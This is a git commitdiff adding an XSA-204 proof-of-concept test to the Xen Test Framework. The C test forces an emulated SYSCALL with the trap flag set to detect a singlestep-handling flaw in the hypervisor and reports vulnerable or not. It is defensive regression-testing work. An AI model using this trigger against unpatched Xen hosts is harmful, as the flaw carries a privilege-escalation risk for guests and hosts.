]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-204 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Sun, 18 Dec 2016 13:54:13 +0000 (13:54 +0000)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 27 Mar 2017 17:15:05 +0000 (18:15 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
arch/x86/include/arch/msr-index.h
arch/x86/include/arch/segment.h
docs/all-tests.dox
tests/xsa-204/Makefile [new file with mode: 0644]
tests/xsa-204/main.c [new file with mode: 0644]

index d479239e87ea8205bf9bf1dfe50e1e46d6739d10..2e900797bf7a0f178e96060d124bfe5ba972ab17 100644 (file)
 #define _EFER_TCE                       15 /* Translation Cache Extension. */
 #define EFER_TCE                        (_AC(1, L) << _EFER_TCE)
 
+#define MSR_STAR                        0xc0000081
+#define MSR_LSTAR                       0xc0000082
+#define MSR_CSTAR                       0xc0000083
+#define MSR_FMASK                       0xc0000084
+
 #define MSR_FS_BASE                     0xc0000100
 #define MSR_GS_BASE                     0xc0000101
 #define MSR_SHADOW_GS_BASE              0xc0000102
index 9b33a4e3678e2357c0f3e4c1d4860fce3b096521..17898548b4da2f9e118ba7da580e6aa369b154b5 100644 (file)
@@ -19,7 +19,7 @@
  *  7/8 - TSS (two slots in long mode)
  *  8 - DF TSS (32bit only)
  *
- *  9-12 - Available for test use
+ *  9-14 - Available for test use
  */
 
 #define GDTE_CS64_DPL0 1
 #define GDTE_AVAIL1    10
 #define GDTE_AVAIL2    11
 #define GDTE_AVAIL3    12
+#define GDTE_AVAIL4    13
+#define GDTE_AVAIL5    14
 
-#define NR_GDT_ENTRIES 13
+#define NR_GDT_ENTRIES 15
 
 /*
  * HVM guests use the GDT directly.
index d88a874ed71760ca07befca769699d30b733ca7a..b037bc650406bd6121085000272a247bc118e527 100644 (file)
@@ -82,6 +82,9 @@ override.
 
 @subpage test-xsa-203 - x86: missing NULL pointer check in VMFUNC emulation.
 
+@subpage test-xsa-204 - x86: Mishandling of SYSCALL singlestep during
+emulation.
+
 
 @section index-utility Utilities
 
diff --git a/tests/xsa-204/Makefile b/tests/xsa-204/Makefile
new file mode 100644 (file)
index 0000000..4239af4
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-204
+CATEGORY  := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-204/main.c b/tests/xsa-204/main.c
new file mode 100644 (file)
index 0000000..86c2f82
--- /dev/null
@@ -0,0 +1,91 @@
+/**
+ * @file tests/xsa-204/main.c
+ * @ref test-xsa-204
+ *
+ * @page test-xsa-204 XSA-204
+ *
+ * Advisory: [XSA-204](http://xenbits.xen.org/xsa/advisory-204.html)
+ *
+ * SYSCALL (unlike most instructions) evaluates its singlestep action based on
+ * the resulting EFLAGS.TF, not the starting EFLAGS.TF.  As the @#DB is raised
+ * after the CPL change and before the OS can switch stack, it is a large risk
+ * for privilege escalation.  This is also undocumented behaviour.
+ *
+ * This test masks TF in MSR_FMASK, enables TF and forces a SYSCALL
+ * instruction through the emulator.
+ *
+ * If vulnerable to XSA-204, a single @#DB will be rased at the start of
+ * entry_SYSCALL_64().  If not vulnerable, no @#DB will be seen at all.
+ *
+ * @see tests/xsa-204/main.c
+ */
+#include <xtf.h>
+
+#include <arch/msr-index.h>
+#include <arch/processor.h>
+
+bool test_needs_fep = true;
+bool test_wants_user_mappings = true;
+const char test_title[] = "XSA-204 PoC";
+
+void entry_SYSCALL_64(void);
+asm(".align 8;"
+    "entry_SYSCALL_64:"
+    "and $~" STR(X86_EFLAGS_TF) ", %r11;"
+    "sysretq;"
+    );
+
+static void user_force_syscall(void)
+{
+    asm volatile ("pushf;"
+                  "orl $%c[TF], (%%rsp);"
+                  "popf;"
+
+                  _ASM_XEN_FEP
+                  "syscall;"
+                  ::
+                   [TF] "i" (X86_EFLAGS_TF)
+                  : "rcx", "r11");
+}
+
+void test_main(void)
+{
+    if ( !cpu_has_syscall )
+        return xtf_skip("Skip: SYSCALL not suported\n");
+
+    /* Enable SYSCALL/SYSRET. */
+    wrmsr(MSR_EFER, rdmsr(MSR_EFER) | EFER_SCE);
+
+    /* Lay out the GDT suitably for SYSCALL/SYSRET. */
+    gdt[GDTE_AVAIL0] = gdt[__KERN_CS >> 3]; /* SYSCALL %cs/%ss selectors */
+    gdt[GDTE_AVAIL1] = gdt[GDTE_DS32_DPL0];
+
+    gdt[GDTE_AVAIL2] = gdt[GDTE_CS32_DPL3]; /* SYSRET  %cs/%ss selectors */
+    gdt[GDTE_AVAIL3] = gdt[GDTE_DS32_DPL3];
+    gdt[GDTE_AVAIL4] = gdt[GDTE_CS64_DPL3];
+
+    /* Set up the MSRs. */
+    wrmsr(MSR_STAR, ((((uint64_t)GDTE_AVAIL0 * 8 + 0) << 32) |
+                     (((uint64_t)GDTE_AVAIL2 * 8 + 3) << 48)));
+    wrmsr(MSR_LSTAR, (unsigned long)entry_SYSCALL_64);
+    wrmsr(MSR_FMASK, X86_EFLAGS_TF);
+
+    xtf_exlog_start();
+    exec_user_void(user_force_syscall);
+    xtf_exlog_stop();
+
+    if ( xtf_exlog_entries() != 0 )
+        xtf_failure("Fail: Observed debug traps - vulnerable to XSA-204\n");
+    else
+        xtf_success("Success: Not vulnerable to XSA-204\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */